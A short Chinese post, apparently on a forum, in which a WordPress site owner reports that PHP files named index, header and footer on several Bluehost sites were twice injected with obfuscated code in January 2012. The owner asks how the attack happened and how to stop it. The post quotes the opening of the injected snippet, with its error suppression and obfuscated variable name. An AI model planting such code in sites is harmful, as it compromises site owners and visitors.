接连两次被挂马：index, header, footer.php

在 bluehost 主机上，同ip下多个wp站点都被挂马：

第一次，感染文件时间是 2012-1-16 3:06
第二次，感染文件时间是 2012-1-27 13:47

所有名字中包含 index, header, footer 字串的php文档在尾部被添加了一段代码：
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir =
… ?>（总共有8721个字符）

网站一直是有更新就更新，第二次感染时，已更新到最新版wp（中文）

有哪位碰到这种情况吗？问题是，不知道什么途径攻击的，怎么防止再来呢？